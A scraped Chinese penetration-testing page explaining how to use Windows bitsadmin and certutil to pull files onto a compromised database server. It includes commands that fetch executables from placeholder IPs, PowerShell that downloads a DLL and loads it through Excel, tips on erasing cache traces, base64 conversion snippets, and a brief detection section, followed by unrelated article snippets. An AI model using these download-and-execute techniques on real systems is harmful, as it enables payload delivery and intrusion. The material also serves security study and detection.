使用Bitsadmin 命令下载文件
如果你碰到一个
Sa权限的注入点,你可以执行dos命令,但是你发现站库分离,数据库和web不在一个服务器上,而且悲剧的是数据库服务器又是个内网,这个时候你该怎么办?
这里就需要用到Bitsadmin来下载东西进去了,在windows08上测试成功了。
一个实例:https://xianzhi.aliyun.com/forum/topic/1654/
1、bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:\p.zip
2、bitsadmin /rawreturn /transfer getpayload http://download.sysinternals.com/files/PSTools.zip c:\p.zip
3、bitsadmin /transfer myDownLoadJob /download /priority normal "http://download.sysinternals.com/files/PSTools.zip" "c:\p.zip"
第3条命令带进度条
4、多条命令
bitsadmin /create myDownloadJob
bitsadmin /addfile myDownloadJob http://download.sysinternals.com/files/PSTools.zip c:\lcx.zip
bitsadmin /resume myDownloadJob
bitsadmin /info myDownloadJob /verbose
bitsadmin /complete myDownloadJob
刚刚逛国外论坛,看到这个命令
certutil -urlcache -split -f http://www.baidu.com/1.rar
window7和2003 都可以用
xp不行
各位老表,可以研究研究这个命令certutil
https://www.t00ls.net/thread-41199-1-1.html
渗透测试中的certutil
0x00 前言
最近在Casey Smith @subTee的twitter上学到了关于certutil的一些利用技巧。本文将结合自己的一些经验,介绍certutil在渗透测试中的应用,对cmd下downloader的实现方法作补充,总结base64编码转换的常用方法。
学习地址:
https://twitter.com/subTee/status/888101536475344896
https://twitter.com/subTee/status/888071631528235010
0x01 简介
本文将要介绍以下内容:
- certutil.exe在渗透测试中的应用
- downloader常用方法
- base64编码转换常用方法
0x02 certutil简介
用于证书管理
支持xp-win10
更多操作说明见https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx
注:
在之前的文章《域渗透——EFS文件解密》有用过certutil.exe导入证书
0x03 渗透测试中的应用
1、downloader
win2003
certutil -urlcache -split -f http://xx.xx.xx.xx/rh.exe
C:\WINDOWS\system32\Blob0_0.bin
win2008
certutil -urlcache -split -f http://xx.xx.xx.xx/rh.exe c:\\rh.exe
c:\\rh.exe
(1) 保存在当前路径,文件名称同URL
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
(2) 保存在当前路径,指定保存文件名称
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt
(3) 保存在缓存目录,名称随机
缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
eg:
certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
(4) 支持保存二进制文件
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
注:
使用downloader默认在缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
保存下载的文件副本
清除下载文件副本方法:
方法1: 直接删除缓存目录对应文件
如下图
方法2: 命令行:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
补充:
查看缓存项目:
certutil.exe -urlcache *
如下图
实际测试:
测试系统安装Office软件,下载执行dll对应的powershell代码如下:
$path="c:\test\msg1.dll"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL($path)
测试如下图
2、计算文件hash
(1) SHA1
certutil.exe -hashfile msg.dll
(2) SHA256:
certutil.exe -hashfile msg.dll SHA256
(3) MD5:
certutil.exe -hashfile msg.dll MD5
3、base64编码转换
(1) base64编码:
CertUtil -encode InFile OutFile
(2) base64解码
CertUtil -decode InFile OutFile
注:
编码后的文件会添加两处标识信息:
文件头:
-----BEGIN CERTIFICATE-----
文件尾:
-----END CERTIFICATE-----
如下图
0x04 downloader常用方法
在之前的文章《渗透技巧——通过cmd上传文件的N种方法》整理过常用的cmd下downloader方法,相比来说,利用certUtil简便快捷,但是使用后需要注意清除缓存,路径如下:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
downloader常用方法如下:
- certUtil
- powershell
- csc
- vbs
- JScript
- hta
- bitsadmin
- wget
- debug
- ftp
- ftfp
0x05 base64编码转换常用方法
在编写脚本操作二进制文件时,常常会因为不可见字符报错,所以通常会选择先对二进制文件作base64编码再操作,最后通过解码还原出二进制文件。
所以在此整理一下常用不同开发工具对应的base64编码转换方式
1、powershell
base64编码:
$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content base64.txt -Value $Base64Payload
base64解码:
$Base64Bytes = Get-Content ("base64.txt")
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
[System.IO.File]::WriteAllBytes("calc.exe",$PEBytes)
2、C SHARP(c#)
base64编码:
using System.IO;
byte[] AsBytes = File.ReadAllBytes(@"C:\windows\system32\calc.exe");
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:\test\base64.txt");
sw.Write(AsBase64String);
sw.Close();
base64解码:
using System.IO;
String AsString = File.ReadAllText(@"C:\test\base64.txt");
byte[] bytes = Convert.FromBase64String(AsString);
FileStream fs = new FileStream(@"C:\test\calc.exe", FileMode.Create);
fs.Write(bytes, 0, bytes.Length);
fs.Flush();
fs.Close();
注:
在之前的文章《渗透技巧——通过cmd上传文件的N种方法》存在两处bug
“ 解密base64文件并生成exe的方法: ”
其中的powershell代码和c#代码存在bug,修正的代码以本文为准
3、js
base64解码:
fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile("C:\\test\\base64.txt",1);
base64string=f.ReadAll();
f.Close();
enc = new ActiveXObject("System.Text.ASCIIEncoding");
length = enc.GetByteCount_2(base64string);
ba = enc.GetBytes_4(base64string);
transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
s=new ActiveXObject("ADODB.Stream");
s.Type=1;
s.Open();
s.Write(ba);
s.SaveToFile("C:\\test\\calc.exe",2);
4、certutil
base64编码:
CertUtil -encode InFile OutFile
base64解码:
CertUtil -decode InFile OutFile
注:
编码后的文件会添加两处标识信息:
文件头:
—–BEGIN CERTIFICATE—–
文件尾:
—–END CERTIFICATE—–
0x06 检测downloader
查看利用certUtil下载文件的缓存记录:
certutil.exe -urlcache *
缓存文件位置:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
0x07 小结
本文介绍了certutil在渗透测试中的应用,详细介绍利用certutil作downloader的实现方法和检测方法,最后总结了base64编码转换的常用方法。
使用Bitsadmin 命令下载文件的更多相关文章
- 使用bitsadmin.exe 下载文件,配合bcn.bat玩出更多的花样~~
bitsadmin的简单介绍与基本用法: bitsadmin.exe 可以用来在windows 命令行下下载文件.bitsadmin是windows 后台智能传输服务的一个工具,windows 的自动 ...
- Linux shell ftp命令下载文件 根据文件日期
需求:ftp获取远程数据的文件,根据文件的创建时间点下载文件. 可以自行扩展根据文件的大小等其他需求. 知识点总结: 1.获取文件的时间: ls -lrt|awk '{print $6" & ...
- Linux wget 命令下载文件
wget是Linux系统中用来下载文件的工具,其功能还是比较多的,能够下载单个文件,也可以分段下载,下面小编将针对wget命令的用法给大家做个实例介绍. 实例1 :下载单个文件 # wget http ...
- Linux curl 命令下载文件
引用自http://blog.csdn.net/wh211212/article/details/54285921 命令:curl 在Linux中curl是一个利用URL规则在命令行下工作的文件传输工 ...
- Linux命令-下载文件的工具:wget
Linux系统中的wget是一个下载文件的工具,它用在命令行下.对于Linux用户是必不可少的工具,我们经常要下载一些软件或从远程服务器恢复备份到本地服务器.wget支持HTTP,HTTPS和FTP协 ...
- wget命令下载文件
wget -r -N -l -k http://192.168.99.81:8000/solrhome/ 命令格式: wget [参数列表] [目标软件.网页的网址] -V,–version 显示软 ...
- Mac OS 终端下使用 Curl 命令下载文件
在 mac os下,如何通过命令行来下载网络文件?如果你没有安装或 wget 命令,那么可以使用 curl 工具来达到我们的目的. curl命令参数: curl 'url地址' curl [选项] ' ...
- ubuntu 下通过ftp命令下载文件
/*连接*/ $ ftp 192.168.180.2Connected to 192.168.180.2.Name (192.168.180.2:rivsidn): admin Password: ...
- xshell 使用命令上传、下载文件
打开xshell, ①检查是否已经安装了上传下载的命令,#rpm -qa |grep lrzsz [root@mjy logs]# rpm -qa |grep lrzszlrzsz-0.12.20-2 ...
随机推荐
- caffe编译时候出现 undefined reference to `TIFFReadRGBAStrip@LIBTIFF_4.0'
1.编译时候出现 make: * [.build_release/examples/siamese/convert_mnist_siamese_data.bin] Error 1 /usr/local ...
- IntelliJ IDEA 下载安装(含注册码)
https://blog.csdn.net/mashuai720/article/details/79389314
- SSE图像算法优化系列二十三: 基于value-and-criterion structure 系列滤波器(如Kuwahara,MLV,MCV滤波器)的优化。
基于value-and-criterion structure方式的实现的滤波器在原理上其实比较简单,感觉下面论文中得一段话已经描述的比较清晰了,直接贴英文吧,感觉翻译过来反而失去了原始的韵味了. T ...
- Switch语句的参数是什么类型的?
在Java5以前,switch(expr)中,exper只能是byte,short,char,int类型. 从Java5开始,java中引入了枚举类型,即enum类型. 从Java7开始,exper还 ...
- BizTalk RosettaNet解决方案搭建
contoso为证书颁发机构 分别在两台服务器中配置hosts 192.168.199.160 fabrikam 192.168.199.225 contoso 安装CA 控制面板,添加删除程序 打开 ...
- 并发框架Disruptor译文
Martin Fowler在自己网站上写了一篇LMAX架构的文章,在文章中他介绍了LMAX是一种新型零售金融交易平台,它能够以很低的延迟产生大量交易.这个系统是建立在JVM平台上,其核心是一个业务逻辑 ...
- [Linux]linux下取消用户名和密码直接登录
假定目前只有root用户,则有如下两种方式可直接登录系统: 方式一: 1. passwd -d root 2. 修改/lib/systemd/system/serial-getty\@.service ...
- 集合的最大缺点是无法进行类型判定(这个缺点在JAVA1.5中已经解决),这样就可能出现因为类型不同而出现类型错误。
集合的最大缺点是无法进行类型判定(这个缺点在JAVA1.5中已经解决),这样就可能出现因为类型不同而出现类型错误. 解决的方法是添加类型的判断. LinkedList接口(在代码的使用过程中 ...
- layui动态数据表格-分页
数据结构 $list = [ [,'], [,] ]; $json[; $json['; $json[; $json['data'] = $list; return json($json); 代码: ...
- rabbitmq消费端加入精确控频。
控制频率之前用的是线程池的数量来控制,很难控制.因为做一键事情,做一万次,并不是每次消耗的时间都相同,所以很难推测出到底多少线程并发才刚好不超过指定的频率. 现在在框架中加入控频功能,即使开200线程 ...